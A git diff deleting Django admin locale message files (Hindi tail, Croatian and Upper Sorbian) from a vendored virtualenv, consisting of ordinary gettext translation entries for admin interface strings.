unsaved changes will be lost." -msgstr "" -"स्वतंत्र सम्पादनक्षम क्षेत्र/स्तम्भ में किये हुए बदल अभी रक्षित नहीं हैं | अगर आप कुछ कार्रवाई " -"करते हो तो वे खो जायेंगे |" - -msgid "" -"You have selected an action, but you haven't saved your changes to " -"individual fields yet. Please click OK to save. You'll need to re-run the " -"action." -msgstr "" -"आप ने कार्रवाई तो चुनी हैं, पर स्वतंत्र सम्पादनक्षम क्षेत्र/स्तम्भ में किये हुए बदल अभी सुरक्षित " -"नहीं किये हैं| उन्हें सुरक्षित करने के लिए कृपया 'ओके' क्लिक करे | आप को चुनी हुई कार्रवाई " -"दोबारा चलानी होगी |" - -msgid "" -"You have selected an action, and you haven't made any changes on individual " -"fields. You're probably looking for the Go button rather than the Save " -"button." -msgstr "" -"आप ने कार्रवाई चुनी हैं, और आप ने स्वतंत्र सम्पादनक्षम क्षेत्र/स्तम्भ में बदल नहीं किये हैं| " -"संभवतः 'सेव' बटन के बजाय आप 'गो' बटन ढून्ढ रहे हो |" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "" -msgstr[1] "" - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "" -msgstr[1] "" - -msgid "Now" -msgstr "अब" - -msgid "Choose a Time" -msgstr "" - -msgid "Choose a time" -msgstr "एक समय चुनें" - -msgid "Midnight" -msgstr "मध्यरात्री" - -msgid "6 a.m." -msgstr "सुबह 6 बजे" - -msgid "Noon" -msgstr "दोपहर" - -msgid "6 p.m." -msgstr "" - -msgid "Cancel" -msgstr "रद्द करें" - -msgid "Today" -msgstr "आज" - -msgid "Choose a Date" -msgstr "" - -msgid "Yesterday" -msgstr "कल (बीता)" - -msgid "Tomorrow" -msgstr "कल" - -msgid "January" -msgstr "" - -msgid "February" -msgstr "" - -msgid "March" -msgstr "" - -msgid "April" -msgstr "" - -msgid "May" -msgstr "" - -msgid "June" -msgstr "" - -msgid "July" -msgstr "" - -msgid "August" -msgstr "" - -msgid "September" -msgstr "" - -msgid "October" -msgstr "" - -msgid "November" -msgstr "" - -msgid "December" -msgstr "" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "" - -msgctxt "one letter Monday" -msgid "M" -msgstr "" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "" - -msgctxt "one letter Friday" -msgid "F" -msgstr "" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "" - -msgid "Show" -msgstr "दिखाओ" - -msgid "Hide" -msgstr " छिपाओ" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/hr/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/hr/LC_MESSAGES/django.mo deleted file mode 100644 index eb87cd14..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/hr/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/hr/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/hr/LC_MESSAGES/django.po deleted file mode 100644 index b9192865..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/hr/LC_MESSAGES/django.po +++ /dev/null @@ -1,716 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# aljosa , 2011,2013 -# Bojan Mihelač , 2012 -# Filip Cuk , 2016 -# Goran Zugelj , 2018 -# Jannis Leidel , 2011 -# Mislav Cimperšak , 2013,2015-2016 -# Ylodi , 2015 -# Vedran Linić , 2019 -# Ylodi , 2011 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2019-01-16 20:42+0100\n" -"PO-Revision-Date: 2019-02-19 06:44+0000\n" -"Last-Translator: Vedran Linić \n" -"Language-Team: Croatian (http://www.transifex.com/django/django/language/" -"hr/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: hr\n" -"Plural-Forms: nplurals=3; plural=n%10==1 && n%100!=11 ? 0 : n%10>=2 && n" -"%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2;\n" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "Uspješno izbrisano %(count)d %(items)s." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Nije moguće izbrisati %(name)s" - -msgid "Are you sure?" -msgstr "Jeste li sigurni?" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Izbrišite odabrane %(verbose_name_plural)s" - -msgid "Administration" -msgstr "Administracija" - -msgid "All" -msgstr "Svi" - -msgid "Yes" -msgstr "Da" - -msgid "No" -msgstr "Ne" - -msgid "Unknown" -msgstr "Nepoznat pojam" - -msgid "Any date" -msgstr "Bilo koji datum" - -msgid "Today" -msgstr "Danas" - -msgid "Past 7 days" -msgstr "Prošlih 7 dana" - -msgid "This month" -msgstr "Ovaj mjesec" - -msgid "This year" -msgstr "Ova godina" - -msgid "No date" -msgstr "Nema datuma" - -msgid "Has date" -msgstr "Ima datum" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Molimo unesite ispravno %(username)s i lozinku za pristup. Imajte na umu da " -"oba polja mogu biti velika i mala slova." - -msgid "Action:" -msgstr "Akcija:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Dodaj još jedan %(verbose_name)s" - -msgid "Remove" -msgstr "Ukloni" - -msgid "Addition" -msgstr "" - -msgid "Change" -msgstr "Promijeni" - -msgid "Deletion" -msgstr "" - -msgid "action time" -msgstr "vrijeme akcije" - -msgid "user" -msgstr "korisnik" - -msgid "content type" -msgstr "tip sadržaja" - -msgid "object id" -msgstr "id objekta" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "repr objekta" - -msgid "action flag" -msgstr "oznaka akcije" - -msgid "change message" -msgstr "promijeni poruku" - -msgid "log entry" -msgstr "zapis" - -msgid "log entries" -msgstr "zapisi" - -#, python-format -msgid "Added \"%(object)s\"." -msgstr "Dodano \"%(object)s\"." - -#, python-format -msgid "Changed \"%(object)s\" - %(changes)s" -msgstr "Promijenjeno \"%(object)s\" - %(changes)s" - -#, python-format -msgid "Deleted \"%(object)s.\"" -msgstr "Obrisano \"%(object)s.\"" - -msgid "LogEntry Object" -msgstr "Log zapis" - -#, python-brace-format -msgid "Added {name} \"{object}\"." -msgstr "" - -msgid "Added." -msgstr "Dodano." - -msgid "and" -msgstr "i" - -#, python-brace-format -msgid "Changed {fields} for {name} \"{object}\"." -msgstr "" - -#, python-brace-format -msgid "Changed {fields}." -msgstr "" - -#, python-brace-format -msgid "Deleted {name} \"{object}\"." -msgstr "" - -msgid "No fields changed." -msgstr "Nije bilo promjena polja." - -msgid "None" -msgstr "Nijedan" - -msgid "" -"Hold down \"Control\", or \"Command\" on a Mac, to select more than one." -msgstr "" -"Držite \"Control\" ili \"Command\" na Mac-u kako bi odabrali više od jednog " -"objekta. " - -#, python-brace-format -msgid "The {name} \"{obj}\" was added successfully." -msgstr "" - -msgid "You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} \"{obj}\" was changed successfully." -msgstr "" - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Unosi moraju biti odabrani da bi se nad njima mogle izvršiti akcije. Nijedan " -"unos nije promijenjen." - -msgid "No action selected." -msgstr "Nije odabrana akcija." - -#, python-format -msgid "The %(name)s \"%(obj)s\" was deleted successfully." -msgstr "%(name)s \"%(obj)s\" uspješno izbrisan." - -#, python-format -msgid "%(name)s with ID \"%(key)s\" doesn't exist. Perhaps it was deleted?" -msgstr "" - -#, python-format -msgid "Add %s" -msgstr "Novi unos (%s)" - -#, python-format -msgid "Change %s" -msgstr "Promijeni %s" - -#, python-format -msgid "View %s" -msgstr "" - -msgid "Database error" -msgstr "Pogreška u bazi" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s uspješno promijenjen." -msgstr[1] "%(count)s %(name)s uspješno promijenjeno." -msgstr[2] "%(count)s %(name)s uspješno promijenjeno." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s odabrano" -msgstr[1] "Svih %(total_count)s odabrano" -msgstr[2] "Svih %(total_count)s odabrano" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 od %(cnt)s odabrano" - -#, python-format -msgid "Change history: %s" -msgstr "Promijeni povijest: %s" - -#. Translators: Model verbose name and instance representation, -#. suitable to be an item in a list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"Brisanje %(class_name)s %(instance)s bi zahtjevalo i brisanje sljedećih " -"zaštićenih povezanih objekata: %(related_objects)s" - -msgid "Django site admin" -msgstr "Django administracija stranica" - -msgid "Django administration" -msgstr "Django administracija" - -msgid "Site administration" -msgstr "Administracija stranica" - -msgid "Log in" -msgstr "Prijavi se" - -#, python-format -msgid "%(app)s administration" -msgstr "%(app)s administracija" - -msgid "Page not found" -msgstr "Stranica nije pronađena" - -msgid "We're sorry, but the requested page could not be found." -msgstr "Ispričavamo se, ali tražena stranica nije pronađena." - -msgid "Home" -msgstr "Početna" - -msgid "Server error" -msgstr "Greška na serveru" - -msgid "Server error (500)" -msgstr "Greška na serveru (500)" - -msgid "Server Error (500)" -msgstr "Greška na serveru (500)" - -msgid "" -"There's been an error. It's been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Dogodila se greška. Administratori su obaviješteni putem elektroničke pošte " -"te bi greška uskoro trebala biti ispravljena. Hvala na strpljenju." - -msgid "Run the selected action" -msgstr "Izvrši odabranu akciju" - -msgid "Go" -msgstr "Idi" - -msgid "Click here to select the objects across all pages" -msgstr "Klikni ovdje da bi odabrao unose kroz sve stranice" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Odaberi svih %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "Očisti odabir" - -msgid "" -"First, enter a username and password. Then, you'll be able to edit more user " -"options." -msgstr "" -"Prvo, unesite korisničko ime i lozinku. Onda možete promijeniti više " -"postavki korisnika." - -msgid "Enter a username and password." -msgstr "Unesite korisničko ime i lozinku." - -msgid "Change password" -msgstr "Promijeni lozinku" - -msgid "Please correct the error below." -msgstr "" - -msgid "Please correct the errors below." -msgstr "Molimo ispravite navedene greške." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "Unesite novu lozinku za korisnika %(username)s." - -msgid "Welcome," -msgstr "Dobrodošli," - -msgid "View site" -msgstr "Pogledaj stranicu" - -msgid "Documentation" -msgstr "Dokumentacija" - -msgid "Log out" -msgstr "Odjava" - -#, python-format -msgid "Add %(name)s" -msgstr "Novi unos - %(name)s" - -msgid "History" -msgstr "Povijest" - -msgid "View on site" -msgstr "Pogledaj na stranicama" - -msgid "Filter" -msgstr "Filter" - -msgid "Remove from sorting" -msgstr "Odstrani iz sortiranja" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Prioritet sortiranja: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Preklopi sortiranje" - -msgid "Delete" -msgstr "Izbriši" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Brisanje %(object_name)s '%(escaped_object)s' rezultiralo bi brisanjem " -"povezanih objekta, ali vi nemate privilegije za brisanje navedenih objekta: " - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Brisanje %(object_name)s '%(escaped_object)s' bi zahtijevalo i brisanje " -"sljedećih zaštićenih povezanih objekata:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Jeste li sigurni da želite izbrisati %(object_name)s \"%(escaped_object)s\"? " -"Svi navedeni objekti biti će izbrisani:" - -msgid "Objects" -msgstr "Objekti" - -msgid "Yes, I'm sure" -msgstr "Da, siguran sam" - -msgid "No, take me back" -msgstr "Ne, vrati me natrag" - -msgid "Delete multiple objects" -msgstr "Izbriši više unosa." - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Brisanje odabranog %(objects_name)s rezultiralo bi brisanjem povezanih " -"objekta, ali vaš korisnički račun nema dozvolu za brisanje sljedeće vrste " -"objekata:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Brisanje odabranog %(objects_name)s će zahtijevati brisanje sljedećih " -"zaštićenih povezanih objekata:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Jeste li sigurni da želite izbrisati odabrane %(objects_name)s ? Svi " -"sljedeći objekti i povezane stavke će biti izbrisani:" - -msgid "View" -msgstr "Prikaz" - -msgid "Delete?" -msgstr "Izbriši?" - -#, python-format -msgid " By %(filter_title)s " -msgstr "Po %(filter_title)s " - -msgid "Summary" -msgstr "Sažetak" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Modeli u aplikaciji %(name)s" - -msgid "Add" -msgstr "Novi unos" - -msgid "You don't have permission to view or edit anything." -msgstr "Nemate dozvole za pregled ili izmjenu." - -msgid "Recent actions" -msgstr "Nedavne promjene" - -msgid "My actions" -msgstr "Moje promjene" - -msgid "None available" -msgstr "Nije dostupno" - -msgid "Unknown content" -msgstr "Sadržaj nepoznat" - -msgid "" -"Something's wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Nešto nije uredu sa instalacijom/postavkama baze. Provjerite jesu li " -"potrebne tablice u bazi kreirane i provjerite je li baza dostupna korisniku." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Prijavljeni ste kao %(username)s, ali nemate dopuštenje za pristup traženoj " -"stranici. Želite li se prijaviti drugim korisničkim računom?" - -msgid "Forgotten your password or username?" -msgstr "Zaboravili ste lozinku ili korisničko ime?" - -msgid "Date/time" -msgstr "Datum/vrijeme" - -msgid "User" -msgstr "Korisnik" - -msgid "Action" -msgstr "Akcija" - -msgid "" -"This object doesn't have a change history. It probably wasn't added via this " -"admin site." -msgstr "" -"Ovaj objekt nema povijest promjena. Moguće je da nije dodan korištenjem ove " -"administracije." - -msgid "Show all" -msgstr "Prikaži sve" - -msgid "Save" -msgstr "Spremi" - -msgid "Popup closing…" -msgstr "" - -msgid "Search" -msgstr "Traži" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s rezultat" -msgstr[1] "%(counter)s rezultata" -msgstr[2] "%(counter)s rezultata" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s ukupno" - -msgid "Save as new" -msgstr "Spremi kao novi unos" - -msgid "Save and add another" -msgstr "Spremi i unesi novi unos" - -msgid "Save and continue editing" -msgstr "Spremi i nastavi uređivati" - -msgid "Save and view" -msgstr "" - -msgid "Close" -msgstr "Zatvori" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Promijeni označene %(model)s" - -#, python-format -msgid "Add another %(model)s" -msgstr "Dodaj još jedan %(model)s" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Obriši odabrane %(model)s" - -msgid "Thanks for spending some quality time with the Web site today." -msgstr "Hvala što ste proveli malo kvalitetnog vremena na stranicama danas." - -msgid "Log in again" -msgstr "Prijavite se ponovo" - -msgid "Password change" -msgstr "Promjena lozinke" - -msgid "Your password was changed." -msgstr "Vaša lozinka je promijenjena." - -msgid "" -"Please enter your old password, for security's sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Molim unesite staru lozinku, zbog sigurnosti, i onda unesite novu lozinku " -"dvaput da bi mogli provjeriti jeste li je ispravno unijeli." - -msgid "Change my password" -msgstr "Promijeni moju lozinku" - -msgid "Password reset" -msgstr "Resetiranje lozinke" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Vaša lozinka je postavljena. Sada se možete prijaviti." - -msgid "Password reset confirmation" -msgstr "Potvrda promjene lozinke" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Molimo vas da unesete novu lozinku dvaput da bi mogli provjeriti jeste li je " -"ispravno unijeli." - -msgid "New password:" -msgstr "Nova lozinka:" - -msgid "Confirm password:" -msgstr "Potvrdi lozinku:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Link za resetiranje lozinke je neispravan, vjerojatno jer je već korišten. " -"Molimo zatražite novo resetiranje lozinke." - -msgid "" -"We've emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Elektroničkom poštom smo vam poslali upute za postavljanje Vaše zaporke, ako " -"postoji korisnički račun s e-mail adresom koju ste unijeli. Uskoro bi ih " -"trebali primiti. " - -msgid "" -"If you don't receive an email, please make sure you've entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Ako niste primili e-mail provjerite da li ste ispravno unijeli adresu s " -"kojom ste se registrirali i provjerite spam sandučić." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Primili ste ovu poruku jer ste zatražili postavljanje nove lozinke za svoj " -"korisnički račun na %(site_name)s." - -msgid "Please go to the following page and choose a new password:" -msgstr "Molimo otiđite do sljedeće stranice i odaberite novu lozinku:" - -msgid "Your username, in case you've forgotten:" -msgstr "Vaše korisničko ime, u slučaju da ste zaboravili:" - -msgid "Thanks for using our site!" -msgstr "Hvala šta koristite naše stranice!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "%(site_name)s tim" - -msgid "" -"Forgotten your password? Enter your email address below, and we'll email " -"instructions for setting a new one." -msgstr "" -"Zaboravili ste lozinku? Unesite vašu e-mail adresu ispod i poslati ćemo vam " -"upute kako postaviti novu." - -msgid "Email address:" -msgstr "E-mail adresa:" - -msgid "Reset my password" -msgstr "Resetiraj moju lozinku" - -msgid "All dates" -msgstr "Svi datumi" - -#, python-format -msgid "Select %s" -msgstr "Odaberi %s" - -#, python-format -msgid "Select %s to change" -msgstr "Odaberi za promjenu - %s" - -#, python-format -msgid "Select %s to view" -msgstr "" - -msgid "Date:" -msgstr "Datum:" - -msgid "Time:" -msgstr "Vrijeme:" - -msgid "Lookup" -msgstr "Potraži" - -msgid "Currently:" -msgstr "Trenutno:" - -msgid "Change:" -msgstr "Promijeni:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/hr/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/hr/LC_MESSAGES/djangojs.mo deleted file mode 100644 index e8231f69..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/hr/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/hr/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/hr/LC_MESSAGES/djangojs.po deleted file mode 100644 index 0878d8ab..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/hr/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,223 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# aljosa , 2011 -# Bojan Mihelač , 2012 -# Davor Lučić , 2011 -# Jannis Leidel , 2011 -# Mislav Cimperšak , 2015 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2018-05-17 11:50+0200\n" -"PO-Revision-Date: 2017-09-19 16:41+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: Croatian (http://www.transifex.com/django/django/language/" -"hr/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: hr\n" -"Plural-Forms: nplurals=3; plural=n%10==1 && n%100!=11 ? 0 : n%10>=2 && n" -"%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2;\n" - -#, javascript-format -msgid "Available %s" -msgstr "Dostupno %s" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"Ovo je popis dostupnih %s. Možete dodati pojedine na način da ih izaberete u " -"polju ispod i kliknete \"Izaberi\" strelicu između dva polja. " - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Tipkajte u ovo polje da filtrirate listu dostupnih %s." - -msgid "Filter" -msgstr "Filter" - -msgid "Choose all" -msgstr "Odaberi sve" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "Kliknite da odabrete sve %s odjednom." - -msgid "Choose" -msgstr "Izaberi" - -msgid "Remove" -msgstr "Ukloni" - -#, javascript-format -msgid "Chosen %s" -msgstr "Odabrano %s" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"Ovo je popis odabranih %s. Možete ukloniti pojedine na način da ih izaberete " -"u polju ispod i kliknete \"Ukloni\" strelicu između dva polja. " - -msgid "Remove all" -msgstr "Ukloni sve" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "Kliknite da uklonite sve izabrane %s odjednom." - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "odabrano %(sel)s od %(cnt)s" -msgstr[1] "odabrano %(sel)s od %(cnt)s" -msgstr[2] "odabrano %(sel)s od %(cnt)s" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Neke promjene nisu spremljene na pojedinim polja za uređivanje. Ako " -"pokrenete akciju, nespremljene promjene će biti izgubljene." - -msgid "" -"You have selected an action, but you haven't saved your changes to " -"individual fields yet. Please click OK to save. You'll need to re-run the " -"action." -msgstr "" -"Odabrali ste akciju, ali niste još spremili promjene na pojedinim polja. " -"Molimo kliknite OK za spremanje. Morat ćete ponovno pokrenuti akciju." - -msgid "" -"You have selected an action, and you haven't made any changes on individual " -"fields. You're probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Odabrali ste akciju, a niste napravili nikakve izmjene na pojedinim poljima. " -"Vjerojatno tražite gumb Idi umjesto gumb Spremi." - -msgid "Now" -msgstr "Sada" - -msgid "Midnight" -msgstr "Ponoć" - -msgid "6 a.m." -msgstr "6 ujutro" - -msgid "Noon" -msgstr "Podne" - -msgid "6 p.m." -msgstr "6 popodne" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" - -msgid "Choose a Time" -msgstr "Izaberite vrijeme" - -msgid "Choose a time" -msgstr "Izaberite vrijeme" - -msgid "Cancel" -msgstr "Odustani" - -msgid "Today" -msgstr "Danas" - -msgid "Choose a Date" -msgstr "Odaberite datum" - -msgid "Yesterday" -msgstr "Jučer" - -msgid "Tomorrow" -msgstr "Sutra" - -msgid "January" -msgstr "" - -msgid "February" -msgstr "" - -msgid "March" -msgstr "" - -msgid "April" -msgstr "" - -msgid "May" -msgstr "" - -msgid "June" -msgstr "" - -msgid "July" -msgstr "" - -msgid "August" -msgstr "" - -msgid "September" -msgstr "" - -msgid "October" -msgstr "" - -msgid "November" -msgstr "" - -msgid "December" -msgstr "" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "" - -msgctxt "one letter Monday" -msgid "M" -msgstr "" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "" - -msgctxt "one letter Friday" -msgid "F" -msgstr "" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "" - -msgid "Show" -msgstr "Prikaži" - -msgid "Hide" -msgstr "Sakri" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/hsb/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/hsb/LC_MESSAGES/django.mo deleted file mode 100644 index 575fb467..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/hsb/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/hsb/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/hsb/LC_MESSAGES/django.po deleted file mode 100644 index f1a44dab..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/hsb/LC_MESSAGES/django.po +++ /dev/null @@ -1,795 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Michael Wolf , 2016-2025 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Michael Wolf , 2016-2025\n" -"Language-Team: Upper Sorbian (http://app.transifex.com/django/django/" -"language/hsb/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: hsb\n" -"Plural-Forms: nplurals=4; plural=(n%100==1 ? 0 : n%100==2 ? 1 : n%100==3 || " -"n%100==4 ? 2 : 3);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Wubrane %(verbose_name_plural)s zhašeć" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "%(count)d %(items)s je so wuspěšnje zhašało." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "%(name)s njeda so zhašeć" - -msgid "Delete multiple objects" -msgstr "Wjacore objekty zhašeć" - -msgid "Administration" -msgstr "Administracija" - -msgid "All" -msgstr "Wšě" - -msgid "Yes" -msgstr "Haj" - -msgid "No" -msgstr "Ně" - -msgid "Unknown" -msgstr "Njeznaty" - -msgid "Any date" -msgstr "Někajki datum" - -msgid "Today" -msgstr "Dźensa" - -msgid "Past 7 days" -msgstr "Zańdźene 7 dnjow" - -msgid "This month" -msgstr "Tutón měsac" - -msgid "This year" -msgstr "Lětsa" - -msgid "No date" -msgstr "Žadyn datum" - -msgid "Has date" -msgstr "Ma datum" - -msgid "Empty" -msgstr "Prózdny" - -msgid "Not empty" -msgstr "Njeprózdny" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Prošu zapodajće korektne %(username)s a hesło za personalne konto. Dźiwajće " -"na to, zo wobě poli móžetej mjez wulko- a małopisanjom rozeznawać." - -msgid "Action:" -msgstr "Akcija:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Přidajće nowe %(verbose_name)s" - -msgid "Remove" -msgstr "Wotstronić" - -msgid "Addition" -msgstr "Přidaće" - -msgid "Change" -msgstr "Změnić" - -msgid "Deletion" -msgstr "Zhašenje" - -msgid "action time" -msgstr "akciski čas" - -msgid "user" -msgstr "wužiwar" - -msgid "content type" -msgstr "wobsahowy typ" - -msgid "object id" -msgstr "objektowy id" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "objektowa reprezentacija" - -msgid "action flag" -msgstr "akciske markěrowanje" - -msgid "change message" -msgstr "změnowa powěsć" - -msgid "log entry" -msgstr "protokolowy zapisk" - -msgid "log entries" -msgstr "protokolowe zapiski" - -#, python-format -msgid "Added “%(object)s”." -msgstr "Je so „%(object)s“ přidał." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "Je so „%(object)s“ změnił - %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "Je so „%(object)s“ zhašał." - -msgid "LogEntry Object" -msgstr "Objekt LogEntry" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "Je so {name} „{object}“ přidał." - -msgid "Added." -msgstr "Přidaty." - -msgid "and" -msgstr "a" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "Je so {fields} za {name} „{object}“ změnił." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "{fields} změnjene." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "Je so {name} „{object}“ zhašał." - -msgid "No fields changed." -msgstr "Žane pola změnjene." - -msgid 